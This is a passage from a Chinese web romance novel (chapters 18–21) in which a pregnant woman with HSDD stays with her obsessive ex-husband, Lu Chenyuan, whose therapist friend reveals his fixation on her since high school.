“我这伤处,自己擦不到。”陆沉渊磁性好听的声音,却兀然从她耳畔传来,将她从恍惚中,喊回了神来。 姜绒脸上红了一下,赶忙从他骨节修长的宽大手掌里,接过了碘伏和一包医用棉签:“那我帮你吧。” 视线再次落在他手臂上,她才明白了,对方说的确实是实话,那一大片青紫色,在手肘关节的正上方,刚好是视线看不到的盲区。 将白色的棉签,沾上了棕褐色的碘伏后,姜绒纤长的手指,却有些颤抖,她深吸了一口气。 让一个天生性/冷淡的人,去接触一个陌生男性的身体,给他擦药。 这于她而言,是一个极大的挑战。 虽然,她并不讨厌陆沉渊,甚至他是唯一一个,令她产生了生理性喜欢的人。 但即使如此,让她主动去做这件事,她仍然需要极强的心理建设。 陆沉渊的目光,亦落在她脸上,似乎是看出了她眼里,那一抹,一闪而过的恐惧与抵触。 这是一个和他印象里,完全不同的姜绒。 他想起高一那年,学校三楼的图书馆里,他站在哲学书系那一栏,随手拿起一本萨特的《存在与虚无》。 却兀然听到了一阵,属于少女的,恣意而清脆的笑声,从书架后传来。 他镜片背后的瞳孔微微收紧了一下,顺着书架上书缝里的空隙与光影里看去。 陆沉渊看到了一张明媚至极的笑脸,白皙的小脸上,浅茶色的眼眸潋滟,如同泛着水光的琉璃球,唇边甜美的小梨涡和嘴角的虎牙,一应俱全。 她栗色的长发,在阳光下发着光,柔顺至极,蜜桃的香味,几乎是第一时间,便钻进了他鼻腔里。 那是身穿校服的姜绒,在和隔壁班上的校草调笑。 于是,陆沉渊立即放下了手里的书,迅速离开了图书馆,在心里明确了一件事——他讨厌姜绒。 讨厌她的随便和轻浮,更讨厌她将笑脸,轻易就给了别人。 而现在,站在他面前,一头酒红长卷发,同样明媚好看的姜绒,似乎却非常抗拒,与他进行肢体接触,哪怕仅仅只是为了,给他上药。 他有如此,令她讨厌吗? 陆沉渊扶住手臂,骨节修长的左手手指,悄悄重按了一下,自己那片青紫的伤口,唇色越发白的厉害:“唔……” 听到对方犹在吃痛,姜绒心里更加愧疚着急,顾不得再害怕什么,赶忙俯身靠近了他胸膛,垂下长睫,给他冷白的手肘上药。 陆沉渊身上,那股清冷的雪松味道,瞬间包围了她,几乎无孔不入,似乎无声的沁入了,她身上的每一个毛孔,每一根毛细血管里。 虽说她是站着,陆沉渊是坐着。 但因为巨大体型差与身高差的缘故,陆沉渊即使坐着,也同她站着一般高了,更不必提,为了能够擦到他手肘关节上的那个位置。 她的动作,近乎于,主动靠在他怀里,抱着他了。 姜绒的耳朵红的厉害,脸上也一阵阵发热,她能感觉到陆沉渊的呼吸,带着热意,一直喷洒在她耳侧。 而不知是不是她的错觉,亦或是她靠的离他太近的缘故,她能感觉到,他身上某个存在感极强地方,似乎在抵着自己,热得发烫。 一些荒唐的,关于那个晚上的回忆立刻涌进姜绒脑海里。令她身体的反应,逐渐变得诚实了起来,双腿一直在发软。 毕竟她曾经见识过了,某人拥有极具实力的硬件条件。 “好了,应该没什么问题了!”于是姜绒只能迅速,将那一大片棕褐色的液体,抹在陆沉渊冷白皮肤上,那一大块青紫上以后,就迅速起身远离了他。 陆沉渊点了点头,一双黑眸却仍旧牢牢锁住她,兀然向她沉声问出了一句话来:“你很害怕,和我有肢体接触?” “也……也没有。只是我患有hsdd,所以不习惯和任何一个男人有身体接触而已。”姜绒脸上飞起一抹红,一边把药放回医药箱里,局促的回答她道。 陆沉渊重复了一遍,她说出的那几个字母,探究性极强的目光,带了一抹惊讶,落在她身上。 姜绒忍不住猜测,他是在判断,自己到底有没有说谎。 还是在思考,声称患有hsdd的自己,那一晚,到底是怎么样主动吻上他的唇的? 姜绒迅速站起了身来,掩饰自己的尴尬:“这也没什么好震惊的吧?你并不了解我,就像我也不了解你。我不知道,你和乔安安竟然还有关系一样。” “什么关系?”陆沉渊的眸光却瞬间变了一下,炙热的目光,落在她脸上,径直问出了声。 不就是她暗恋了你七年的关系吗? 姜绒张了张唇,欲脱口而出,却在最后关头,收住了嘴。 她要是直接这样说,岂不是在明摆着告诉陆沉渊,那天在周野的餐厅里,她偷听了她们两人的对话? 于是姜绒红着耳朵,换了种说法:“那我怎么知道什么关系,反正是在餐厅里约会的关系。” “她以前跟踪过我,在我放学回家的路上,而且我参加的所有竞赛,她都会报名参加。”陆沉渊的表情却变了,语气里多了一丝苦恼。 姜绒彻底愣住了,完全不敢相信:“跟踪你?她一个学霸高冷女神,竟然跟踪你放学回家?” 她根本不敢想象,乔安安这样一个眼光极高,别人眼里高不可攀的学霸女神,会尾随在陆沉渊屁股后面,鬼鬼祟祟的场面。 却也突然之间明白了,似乎从高中开始,一直迟钝的,对陆沉渊的魅力,视而不见的那个,是自己才对。 他不仅出身顶级,而且脑子又如此聪明,经常不是市里第一就是第二,长相当时还被班上相当一大部分女生拥趸,甚至认为他超过了隔壁班的校草。 据说全拜,有一次午休时间,陆沉渊摘掉了鼻梁上厚重的黑色厚边框眼镜,被班上几个女生无意间撞见所赐。 “那她应该是喜欢你吧。”姜绒假装漫不经心的朝他说道。 陆沉渊骨节修长的手指,将衬衫袖口整理好,目光却落在她脸上,兀然问出了另一个问题来: “那天送你来民政局领证的男人,叫什么?你和他又是什么关系?” 姜绒没有预料到,他会突然朝自己问出这个问题来。 莫非是因为他很在乎这件事? 她偷偷瞥了一眼陆沉渊,心里莫名觉得有些暗爽,或许自己可以测试一下他的反应呢? 于是她抚了一把自己酒红色长卷发,义正言辞的回答了陆沉渊:“这个问题,是我的隐私。” 陆沉渊点了点头,脸上冷冷的表情,却并未有什么不同,连一丝波澜也没有。 他高大的身影,兀然从沙发上起身,长腿一迈,大步向浴室里走去了:“我先去洗漱一下,今晚你睡床,我睡沙发。” 哎?怎么这么快就走了? 姜绒觉得有些没趣,只得望着他走进浴室里的宽阔背脊,撅起嘴巴,跺了跺脚。 果然,电脑人就是电脑人,怎么会有感情呢? 她掀开蚕丝被,坐在床上看书,却总有些心不在焉,听觉也变得异常灵敏,总是忍不住去关注,浴室里发出来的任何一点声响。 砰!此时,一道清脆的声音,却兀然从她耳边传来。 那是什么东西,掉在地上的声音。 姜绒赶忙放下了手里的书,向偌大的浴室里走去,到了门口,眼前的劲爆场面,却令她瞬间瞪大了一双鹿眼,惊讶万分。 陆沉渊墨眉微皱,骨节修长的手指,像是没有抓稳洗漱用的施华洛世奇水晶杯,令其掉在了地上,晶莹的碎了一地。 而他身上本就薄的白衬衫,从胸膛一直到腰腹,全部都被水浇湿透了。 轮廓明显的胸肌、鲨鱼线,刀刻般的八块腹肌,以及从腰腹处往下收紧的深邃人鱼线,立即透过他湿透的白衬衫,被印了出来,一览无余的出现在姜绒眼前。 令目不转睛盯着他看的姜绒,只觉得鼻腔里一阵发热发痒,几乎要流下鼻血。 这似乎,是一个意外。 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,猫猫更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第19章 第十九章 蚊子叮的。 陆沉渊似乎连脸上也溅到了水珠, 随意撩起衬衫下摆,擦了擦脸,水珠顺着轮廓深邃的脸上, 清晰利落的下颌线条,往下滴落, 好看至极。 因着他撩衣摆的这个动作,没了那层若隐若现的白衬衫遮挡,他肤色冷白的胸肌和腹肌, 直接出现在了姜绒眼里, 形成的冲击力更加强大了数倍。 令站在门畔的姜绒, 几乎屏住了呼吸, 忘记了一切。 她不禁开始产生怀疑, 这人也许完全不是一台没有感情的电脑机器, 而根本就是魅魔、或者男狐狸精附体才对。 否则, 就一定是自己飙升的孕激素作祟!姜绒在心里不断默念。 “刚才手臂还有些疼,所以没握稳杯子。”察觉到了她的目光,陆沉渊放下衣摆,直视着姜绒,朝她沉声说道。 姜绒白皙的小脸上, 立刻浮现了一抹绯红,转身便往外走去:“我去拿个扫帚来, 扫碎片。” “我去就好, 你站着吧,这些东西太危险了。”陆沉渊却制止了她的举动, 高大的身影不由分说,穿过了她,去拿清扫的工具。 姜绒俯视这乱糟糟的地板, 却有些看不下去,她历来是个急性子。 于是径直蹲下身去,伸出纤长的手指,就开始捡地上的水晶玻璃碎片。 “别捡了,你是孕早期,不能一直蹲着。” 陆沉渊低沉好听的声音,却很快在她脑后响起,语气里带了一丝紧张,他拿工具回来的速度非常快。 姜绒愣了一下,点了点头,放下手里的玻璃碎片,但猝不及防的,指尖传来了一阵刺痛。 她低头看去,抬起手指,不知什么时候,左手食指被锋利的玻璃碎片划伤了。 一条浅浅的伤口浮现在指尖,殷红的血液,已经渗了出来。 “疼吗?”眼疾手快的陆沉渊很快发现了她的异样,高大的身影,立即在她面前蹲了下来,几乎将她整个人笼罩。 姜绒摇了摇头:“没事的,一点小伤而已。” 下一秒,她却瞪圆了一双浅茶色的鹿眼,整个人都僵住了。 陆沉渊宽大的手掌,径直握住了她手腕,将她渗着血的,白皙纤长的食指指尖,含进了嘴里。 “这……”姜绒红着整张脸,忘记了要说些什么,只觉得这一刻,时间几乎都要停止了。 只有指尖传来的温热懦湿的触感提醒她,此刻发生的一切都是真的。 他不是有洁癖吗?他为什么要这么做? 她仰头望向陆沉渊,看着他认真垂眸,感受到他,那张淡色的唇,含紧她指尖,灵活的舌头如同嗜血的蛇类一般,缠绕舔/舐她的手指,誓要将那上面所有的血迹,一点点吮吸干净。 陆沉渊没戴眼镜,少去了一道镜片的遮挡,那双极度好看,长睫轻垂,眼尾微微上扬,如同黑曜石一般的眸子锁住她。 使姜绒兀然读出了几分偏执与病态的占有欲。 她的血似乎令他觉得痴迷。 一个荒谬的想法,兀然在姜绒的脑海里钻出来。 蛇类的占有欲在于缠绕,无论是进食时对于猎物的绝对占有,还是繁衍时对于伴侣的绝对掌控。 她的身上热的厉害,却又忘记缩回了手指,只能呆呆的由着他这样做。 江之晏的那副画,再次出现在了姜绒眼前,她开始好奇。 那个高一时,便存在的,令陆沉渊痴迷,使他如同一条陷入莫比乌斯环的欲望之蛇的人,到底是谁? “不好意思,只能先这样帮你止血,我去拿创口贴。” 陆沉渊低沉的声音,兀然在她耳边响起,却夹杂了一抹,难以掩饰的喑哑。 不待姜绒反应过来,他高大的身影已经站起了身来,长腿一迈,径直去拿医药箱了。 姜绒呆呆的看着自己不再流血的手指,却想起了高一时,自己曾经将陆沉渊视为电脑人凭证的,生物课上的另一个名场面。 高一生物课上,她们的班主任,生物名师老李,早就准备好了,上一堂令教研员以及所有评委,印象深刻的实验课——小白鼠解剖。 她们班因为有陆沉渊这样,整个市里数一数二的存在,班上的同学,又都非富即贵,基本人人都有,请私人教师在家补习,可以说,是整个凛川高中最强的班。 更何况,是老李自己管理的班,于是她们班顺理成章的,被选为了进行这场公开课的班级。 实验分为了几个小组,而被选中,在讲台上进行实验示范的学生,却是单独一个组,那个人便是学习委员——陆沉渊。 空气中弥漫着福尔马林的气味,在数名外校老师的目光注视下,紧张的氛围,在实验室里弥漫。 而一向只喜爱文科与艺术的姜绒,本就对理科深恶痛绝,更无法接受,这样剥夺生命的实验存在。 当她以及同组的其他人,都对着那只柔软、僵直的小生命感到犹豫甚至恶心时。 她却看到,坐在讲台上,单人成组,身上蓝白色校服,一尘不染的陆沉渊,已经戴好了白色的手套,眼神如同扫描仪。 他首先检查了解剖工具,用酒精棉片以固定流程擦拭解剖盘、剪刀和镊子,并将其按使用顺序和角度,在托盘上摆放得如同手术室。 然后陆沉渊将小白鼠置于解剖盘,用钉子来固定四肢。 他的动作稳定,没有一丝多余,骨节修长的手指拿起剪刀,从小白鼠胸骨下缘开始,以一个绝对精准的“V”字形切口,剪开了皮肤和肌肉。 他的切口干净利落,避开了主要血管,暴露出的器官完整而清晰。 紧接着,在班主任和评委老师们的注视下,陆沉渊用镊子尖部,像指针一样,冷静地依次点明了小白鼠的各个器官,做出了功能简述: “这是心脏,生物泵,负责推动血液循环。” “这是肝脏,主要的代谢和解毒器官。” 他说话时的语气,沉稳而冷静,就像是在介绍一台机器的零部件,剥离了所有生命、死亡与痛苦的情感维度。 而坐在台下的姜绒,看着讲台上,被屏幕放大的陆沉渊,操作这一切,差点吐了出来。 陆沉渊完美的完成了一切的示范,老李的那堂课也顺理成章的拿到了市里排名第一的名课。 只有姜绒,在那节课课后,忍不住在思考。 这个人的内心,到底是由什么构成的?他的情感在哪里?他看待世界的方式,究竟是怎样的? 为何他能够做到,如此极致的理性。 与自己的世界,大相径庭。 于是她破天方的,第一次叫住了陆沉渊背影,抚了抚自己栗色的长发,作为同班同学,和他说出了第一句话: “你怎么能……一点感觉都没有?” 陆沉渊停下脚步,回头看向她,眼神里是纯粹的困惑,似乎不理解她为何会问出这样的问题来。 他伸出骨节修长的手指,扶了扶鼻梁上的厚重眼镜框,给出姜绒的答案,令那时的她,更加觉得震撼: “感觉?生物体的结构是客观存在的。情绪是对认知的无效占用。理解小白鼠的构造,比无意义的同情更重要。” 于是,从那节生物公开课以后,陆沉渊在姜绒那里,就成为了不折不扣的电脑人的存在。 她和林晚,聊天吐槽时,也都只以这个称呼来代指陆沉渊,并对他避之不及。 “创口贴来了,需要我帮你贴吗?”一道低沉的声音,兀然在姜绒耳边响起,唤回了她的一切思绪。 她立刻收回了手指,仰头看向陆沉渊高大的身影,摇了摇头:“不用了,我自己来贴就好。” “嗯,你出去吧,我来清理这里就好。” 陆沉渊点了点头,没有再说什么,将创口贴递给她以后,便利落的清扫起了地上的玻璃碎片。 姜绒转身逃也似的离开浴室了,回到床畔坐好时,耳畔却犹发着热。 她脸上飞起一道红,实在不能理解,刚才陆沉渊对自己做出来的那个举动,到底是什么意思。 为了止血,不是可以直接给她创口贴吗? 为什么她总觉得,不戴眼镜时候的,属于夜晚的陆沉渊,和白天的模样,区别如此之大呢? 摇了摇头,不愿意再想这些,姜绒快速撕开创口贴,仔细贴在了自己受伤的指尖。 浴室里很快响起了水声,不一会儿后,陆沉渊高大的身影,身穿黑色浴袍走了出来。 听到脚步声,姜绒不由自主的抬头望去,他黑发半干垂在额前,被水洗过后的五官,眉眼更加清晰了,骨相长得极其好看。 黑色浴袍的领口,是半开的,形状明显的喉结和好看的锁骨透了出来,令人根本无法忽视,再往下,冷白的肤色…… 令姜绒脑海里想起来的画面,完全不受控制,莫名觉得有些口干舌燥。 不要再想了!不要被孕激素控制大脑! 她红着脸,在脑海里朝自己大声警告,随即迅速移开视线,放下手里的书,掀开被子,就躺回了床上。 背对着他,匆匆向他说了一句:“你自己睡沙发就行了,我先睡了。” 陆沉渊并没有回答她的话,似乎是默认了。 可她耳畔里却能听到,床边的沙发,传来的细微声响,他似乎正在铺床,整理被子。 而她鼻子里总能闻到,陆沉渊身上,那股雪松,夹杂着佛手柑与檀香的味道。 而即使不回过头去,红着耳尖的姜绒,也能感觉到,似乎总有一道炙热的目光,总是若有若无的,在她身上流连,无论是她后脑勺,肩胛骨,还是腰背…… 每一寸,都没有放过。 早上五点,姜绒准时睁开了一双大眼睛,看向头顶奢华的钻石水晶灯。 昨晚,自然是没有睡好的。 哪怕她好不容易进入深度睡眠好几个小时,梦里却也总是陆沉渊,含住她指尖的那个画面,甚至一些荒唐的场景。 她轻轻坐起身来,转头看向了床边的沙发。 陆沉渊还闭着眼睛,处在睡梦中,没有醒来,他宽大的手掌交握,放在腹部,睡相极为端正,身上的被子也盖的极好。 不像她,自小就有踢被子的毛病。 姜绒掀开被子,轻手轻脚的下了床,在地面上站好以后,她却后知后觉的,觉得身上又有些酸痛。 莫非是因为,自己昨晚背对着陆沉渊,睡了一整个晚上,落枕了的缘故。 她捶了捶肩膀,走向了偌大的浴室里,今天她的创作欲,有些旺盛,她很想画一副,用色彩来表达梦境的画。 因此,姜绒打算洗漱完以后,就离开陆沉渊的别墅,开车火速前往自己的艺术馆。 更不必提,自己今天还得去准备,艺术馆里和江之晏合作的首场展出,和对方敲定合作合同,以及各种细节。 姜绒俯身洗了把脸,望向镜子里,自己那张被水洗过的白皙小脸时,却兀然瞪大了一双眼睛,发现了一个不同寻常之处。 她白皙修长的左边脖颈,靠近锁骨的位置,兀然多出了一块红色痕迹。 这个位置显眼而霸道。 痕迹的形状,看起来既像是个草莓印,又像是被什么生物给咬出来的。还有可能,是某种汗藓? 姜绒愣住了,这到底是怎么一回事。 难道说,是她不习惯陆沉渊别墅的环境,一来这过夜,皮肤就出问题了? 还是说昨晚,因为她急着睡觉,不看陆沉渊,连长发都没有擦干,所以水珠,给脖子上捂出了这块东西。 姜绒白皙的指腹,轻轻碾过那块痕迹,却听到身后传来了动静。 她回头看去,是陆沉渊高大的身影,在叠沙发上的被子。 似乎是受她影响,这个点,他竟然也已经起床了。 于是,她离开浴室,径直走到了陆沉渊面前,仰头向他问出了口:“你看,我脖子上一块红,不知道是怎么回事。” 陆沉渊已经戴回了他那副金丝边眼镜。 他骨节修长的手指,推了推鼻梁上的眼镜框,语气平静无波,沉声回答了她: “应该是被蚊子叮的,别墅该做消杀工作了。” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,猫猫更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第20章 第二十章 他有性/瘾症。 绒息艺术馆内。 林晚把目光落在姜绒白皙的小脸上, 朝她好奇的问出了口: “绒绒,你昨晚没休息好吗?还是被什么精怪夺舍了?看起来魂不守舍的,脸色也不好。” “还有, 你脖子上创口贴怎么回事?。” 姜绒脸上飞起一抹红,轻咳了一下, 语气有些不自然:“害,还不是被姜曜养的那条傻狗给咬的。” 她才不会承认呢,自己还真是被自己“前夫”, 陆沉渊那狐狸精给缠上了, 而且还住进他巢穴里去了。 脑子里更是被下了蛊一样, 一整天都是昨晚自己目睹的, 对方那完美的身材以及亲自己手指的画面。 “那条狗真有那么笨吗?哈士奇难道不是很可爱的狗狗吗?”林晚的语气里却多了几分, 难以掩饰的好奇。 姜绒却灵机一动, 瞬间想到了个主意:“晚, 要不这条狗,你帮我照顾几天呗?我跟姜曜说一声,看他同不同意。” “大明星的狗哎,他真的会同意让我养吗?”林晚脸上却红了一下,扶了扶鼻梁上的眼镜框, 低着头说。 姜绒很少看到她这副娇羞的模样,毕竟对方在自己面前, 大部分时候都是毒舌而犀利的。 她对林晚印象更深的, 是对方撸起袖子,一身干练的职业西装, 作为代理律师,和她的客户们扯皮的模样。 心里的直觉告诉她,情况似乎有点不太对劲。 “没事的, 过几天我亲自安排,你和我哥打个视频,让他对你放心就行了!”姜绒拍了拍林晚肩膀,对她说道。 林晚并未拒绝,甚至很快就应了下来,轻声回答了她一句:“嗯。” “对了,姜老板,江之晏今天一大早就来过了,他说合同没什么问题。” “必须经过他朋友,陆沉渊的普瑞维斯事务所的审计以后,才会在合同上签字。” 林晚想起了这件正事,赶忙告诉站在一旁,一身棉布白裙,手里拿着颜料盘和笔刷,酒红色卷发随意编成了侧麻花辫,正在画画的姜绒。 透过落地窗的晨光照耀下,她的侧颜,越发显得精致灵气,倒不像是住在城市里,而是陶醉在艺术里的山野精灵,肆意挥洒笔下的颜色时,整个画面,甚至好看到令林晚都有些移不开眼睛。 姜绒停下手里画刷,愣了一下,一双浅茶色眸子,转头看向林晚: “不会吧,他和陆沉渊关系这么好嘛?要是等他们事务所审计完,岂不是还要很久时间?” “对,据我所知,陆沉渊的事务所从来不缺业务,以这种体量的合同审计,估计要排队,至少两周以上吧。” 林晚扶了扶鼻梁上的眼镜,严谨的回答她道。 姜绒白皙的小脸,瞬间皱成了一团:“啊?这么久,咱们定下的艺术馆首展时间,不是下周一吗?” “咳……所以最好的办法是,你去找陆沉渊插个队,虽然他是你前夫,咱们也吐槽过他。” “但俗话说的好,世间无难事,只怕脸皮厚。”林晚回答她道。 姜绒脸上瞬间红了一下,求陆沉渊帮忙似乎倒也不是什么难事,更不必说,她搬去云顶天阙住以后,两人昨天晚上甚至睡在了一个房间。 毕竟她和陆沉渊之间的秘密,实在太多,瞒住了所有人。 于是,姜绒放下画笔,一边欣赏着自己的画,一边双手叉腰,斗志满满的说道:“行,为了咱们艺术馆,我豁出去了!” 林晚顺着她目光看去,面前白色的画布上,已经被姜绒画出了一副色彩对撞,极其明显,视觉效果震撼的超现实主义画。 白蓝色的冰层与鲜红色的火焰,缠绕在一起。冰晶之中包裹着跃动的火苗,火焰的边缘却凝结出寒冷的冰凌。 “对了,江之晏很奇怪,走之前还特地让我叮嘱你,你可以随时把你的画发给他看。”林晚想起了这件事来,告诉姜绒道。 姜绒点了点头。 这人一看就是个非常喜欢研究别人心理的怪人,对自己的画感兴趣也很正常吧。 于是她利落的给自己的画,拍了个照,径直通过微信,发送给了江之晏。 “不过,你这幅画,我总能品出来,和你以前的画不太一样了,这团火我能理解,这些冰,代表谁啊?你最近有什么情况吗?” 林晚走近那副画,仔细端详,摸了摸下巴,望向姜绒问道。 姜绒白皙的小脸上,却细微的浮现了一抹红。她历来都是凭心情作画,心意根本无法在画里被掩饰分毫,永远会通过笔尖和画笔透出来。 于是,这幅画,就这么从她脑海里流泻了出来。 林晚,作为她的闺蜜,果然是她肚子里的蛔虫,但这次,她猜错了。 实际上那些尘封的蓝色寒冰,代表的是她自己。 而那些吞噬冰块的红橙色火焰,代表的却是昨晚的陆沉渊。 虽然她表面明媚张扬,恣意洒脱,但事实上,因为曾经的一次心理阴影,她抗拒和任何异性有任何真正亲密的肢体接触。 而陆沉渊的举动,姜绒却并不讨厌,事实上,他似乎给她打开了一扇小小的,通往未知感觉的窗。 “能有什么情况呀,别瞎猜了,我就是乱画的。”姜绒红着耳朵,敷衍了林晚一句,伸手将画取下,整理画笔和画架。 林晚看着她的举动,却笑了一下:“你不爱说就不说呗,我会等到你亲口跟我说的那天。” “不过姜大画家,有个大好的消息,我必须得告诉你!” 她突然神秘兮兮的扶了扶鼻梁上的眼镜框,卖了个关子。 姜绒瞬间被勾起了兴趣,转头看向她:“什么大好消息呀?” “你挂在咱们艺术馆官网上,那幅红酒画成的,少女自画像,不知道被哪个冤大头给拍走了。” “而且你知道拍出去的价格是多少吗?”林晚难掩脸上的兴奋,朝她说道。 “多少?”不会是还没调价,她随手填的那一个吧? 姜绒不敢置信地看向林晚,向她紧张的追问道。 林晚向她伸出了九个手指头。 姜绒欣喜若狂,握住了她的手:“九百九十万?” 林晚重重点了点头。 “发了!我太牛了,咱们现在就出去庆祝去!”姜绒高兴至极,拉着林晚就往外走。 凛川银行家,顶级私人俱乐部内。 只能通过邀请,并获得了会员身份,才能够得以入场,绝对私密的顶层雪茄吧里。 厚重的实木门背后,声音被经过严格地过滤与管控。手织的羊毛地毯吞噬了脚步声,墙壁的软包吸收了大部分的音波。 冰块在古典的水晶玻璃杯中旋转、轻碰杯壁的清脆声响,在这里显得格外清晰。 顶级皮革沙发旁边的昏黄光线,来源于桌子上的单体铜制雪茄烟缸自带的小射灯,它们在桌面上投下一圈明亮的光岛,刚好照亮一支雪茄、一杯酒,或是一只沉稳的手。 陆沉渊骨节修长的冷白指间,夹着的雪茄,在持续燃烧。发出的极细微的嘶嘶声,像是一片寂静的森林,在缓慢呼吸。 他抬起下巴,轻轻吐了一口嘴里的烟雾,哈瓦那雪茄标志性的可可豆与雪松木相结合的味道,瞬间在空气里弥漫氤氲开来。 坐在他身旁的江之晏,喝了一口手里的威士忌,低头看向自己手机屏幕,兀然笑出了声来。 “你可以看看这副画。” 江之晏抬起手机,将自己收到的,来自于姜绒拍下的——她今早才画出的画,递给了陆沉渊。 陆沉渊接了过去,黑眸微垂,仔细扫过那副画,没有放过任何一个角落,以及线条与色彩存在的地方。 “这是你地下女友,姜绒发给我的。你认为,她目前开始对你感兴趣了吗?”江之晏勾了勾唇角,兴致勃勃的看向陆沉渊。 似乎想在他冰冷的,无甚表情的脸上,找到一丝无法掩饰的破绽。 陆沉渊的表情却仍旧淡淡的,并无什么波澜,抬眸扫了他一眼:“你认为呢?毕竟,你才是这个世界上,最能够识别人心的医生,不是吗?” 江之晏的目光,却意味深长的落在他脸上:“看来,在她心里,你远比在任何人面前,都要表现的如同一团,炙热燃烧的火焰。” 听了他的话,陆沉渊手里的雪茄微微动了一下,纯白色的烟灰,顺着他修长指尖,缓缓掉落在剔透的钻石水晶烟灰缸里。 “我始终觉得,理智和失序,无法在同一个人身上,完美存在与并行,但唯独,你是个例外。” “你是一个悖论,陆沉渊。”江之晏定定的看着他说。 在他看来,这个课题,在他面前这个患者身上,是最能够得到体现的。 所以,这也是作为一个医生,他却能够和自己的患者陆沉渊,成为关系最好的朋友的原因。 即使,他从陆沉渊高中时开始认识他,两人相差了七岁。 陆沉渊却微微闭了闭眼睛,修长的手指,轻轻攥紧沙发边缘,指尖略微有些泛白,一旦闭上眼睛,他的眼前,仿佛就能浮现那个人的存在。 无论是那张天真与明媚,自然糅杂在一起,不带任何杂质的白皙小脸,还是那副四肢纤长,姿态如同高贵白天鹅的躯体,亦或是那股凑近了闻,距离越近越甜的蜜桃香味,让他根本无法停止啃咬的欲望。 “姜绒,就是她吧?” “那个,你父母带你,第一次来找我做心理咨询,就存在的病因所在。” 江之晏再度喝了口杯子里的威士忌,锐利的目光停留在陆沉渊脸上。 这一次,他不再沉默,点了点头。 高一那年,陆沉渊就被江之晏诊断了出来。 他患有很严重的性/瘾症,一切的源头都是姜绒。 作者有话说:宝宝们,改名了,感觉这个书名更加符合。宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,猫猫更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭《 》 20-30 第21章 第二十一章 喜欢她的画? 江之晏还记得, 和陆沉渊初次相见时的那个场景。 当一身蓝白校服,一尘不染,表情平静无波的陆沉渊, 走进关上了门,只有他们两人存在的诊室里, 坐在江之晏的治疗椅上时。 他看着面前的少年,有一瞬间的恍惚。 眼神看起来与他实际的年龄,完全不相符, 根本不像个高一学生。 而更令他觉得惊讶的是, 他没有从这个天才少年的脸上, 以及这个天才少年的眼神里, 看到任何情感与情绪的流动。 就像是一架提前被设定好的机器, 或者是一个固定运行的程序。 无论是提起他的父亲、母亲, 亦或是老师、同学。 江之晏看到的, 始终是一条平静无波,没有任何波澜的直线。 但也这条直线,使得他瞬间有了兴趣。 直觉告诉他,陆竞深带他儿子来看病,来对了。 因为越是平静无波的海, 底下潜藏的危险,反而越是波涛汹涌, 未知且引人深入。 “你知道, 你父母为什么送你,来我这里吗?” 江之晏看向面前的少年, 直视着他镜片背后,那双与自己对视,完全不逊色, 没有任何害怕存在的深黑色眸子。 “他们认为,我的学习成绩下降了,有东西影响了我。”陆沉渊语气冷冷,扶了扶脸上的眼镜框,回答他道。 江之晏一边在自己的记录本上写字,一边反问他:“那你认为呢?他们说的是对的吗?” “对”陆沉渊却看向他,径直回答了这个问题,一双平静冷漠的眸子,似乎骤然因为这个问题,而被点亮了一簇小型烟火。 江之晏心里的兴趣瞬间被引起,向他追问:“因为什么?” “因为一个人。”陆沉渊直视着他,直接了当的回答了他。 江之晏心里的兴趣,几乎到达了顶峰。 这个人到底是怎么样的存在? 能够使这样一个,在他眼里,经过父母严格管控之下,情感认知程度类似于机器一般的人,一条波澜不惊的直线,变成另一副模样。 “她是谁?”江之晏向陆沉渊继续问道。 陆沉渊语气仍然很冷:“一个同班同学,一个讨厌的人。” “讨厌?为什么讨厌?”江之晏握在手里的笔,在纸上停滞了一下,反问他道。 “因为只有她,让我产生了欲望。” “只有她,让我渴望占有,渴望吞噬,渴望吃掉!” 陆沉渊的语气却骤然已经变了,从那种一成不变的死一般的冷静里,兀然变得激动了起来。 而江之晏,从他那双好看的,眸色极黑的眼睛里,看到了一种燃烧的痴迷,一种近乎病态的渴望。 他渐渐明白了,这似乎并不是他所熟知的,一种名为“早恋”的情感。 而是另一种,未知的,他不曾触及的领域。 陆沉渊的世界里,从来没有欲望。 他整个世界里,唯一的欲望唤起物,只有一个。 那就是——姜绒。 江之晏的语气里充满了探究,继续向陆沉渊问:“那你和这个人,有过交集吗?她知道你,这样“讨厌”她吗?” “没有,但我不管!是她先闯进我梦境里来的!”陆沉渊的回答,令江之晏感到惊讶。 “你梦到她多久了?” “每个晚上。” 于是,那时的江之晏,根据病情严重程度,给出了陆沉渊一个治疗方案。 那就是——脱敏训练。 哗啦,冰块倒入杯中的清脆声音,在江之晏耳边响起,是身穿西服的侍者,在给他玻璃杯中倒酒。 他转头,看向陆沉渊那张半隐在烟雾里,轮廓深邃,忽明忽灭的脸,兀然朝他说出了一句话来:“我有预感,你会获得幸福。” “哦?为什么?老江。”陆沉渊似乎没有听懂,江之晏忽然说出这么一句话来,是什么意思。 毕竟,作为最好的朋友,以及心理医生。 江之晏知道,他是以何种冷血而严苛,近乎于变态的方式,被父母从小养育长大的。 幸福对于他来说,太过遥远。 “因为,她的存在。”江之晏勾了勾唇,说出来的话意味深长,却斩钉截铁。 傍晚五点,姜绒拉着林晚去凛川一家新开的高级餐厅里,品尝了一番美食后。 又带她去了自己常去的,一家高端美容所里,大手一挥,给林晚和自己,各办下了三年期限的至尊级别的卡。 林晚虽然惶恐,她非常朴素,从来没有那么讲究,也未做过这些美容项目。 但她却也没跟大小姐客气,于是两人就在美容所里,开开心心的做了全套的护肤保养。 “你刚才为啥不让那小姐姐按摩你肚子啊?好奇怪。” 看着取下面膜,经过一系列进口仪器保养后,姜绒那张清水出芙蓉,越发吹弹可破的白皙小脸。 林晚一边取脸上的火山泥膜,一边疑惑的向她问出了口。 姜绒脸上瞬间红了一下,站起身来,背对着她,换身上的美容服,假装正常的回答她: “咳……我不习惯被别人碰啊,你也知道的,我有hsdd。” 事实上,是她早就做过攻略了。 怀着孕的人,怎么可能让人按摩肚子。 “啊?你hsdd病情发展到这么严重了?以前是异性不能碰,现在就连同性也不行了?” 林晚却将面膜取下后,站起身来,径直走到她面前问。 姜绒低着头,不敢直视对方犀利的目光:“是有点严重……” “那可不行啊,你这病也太惨了,要是治不好,岂不是一辈子都碰不了任何帅哥?” 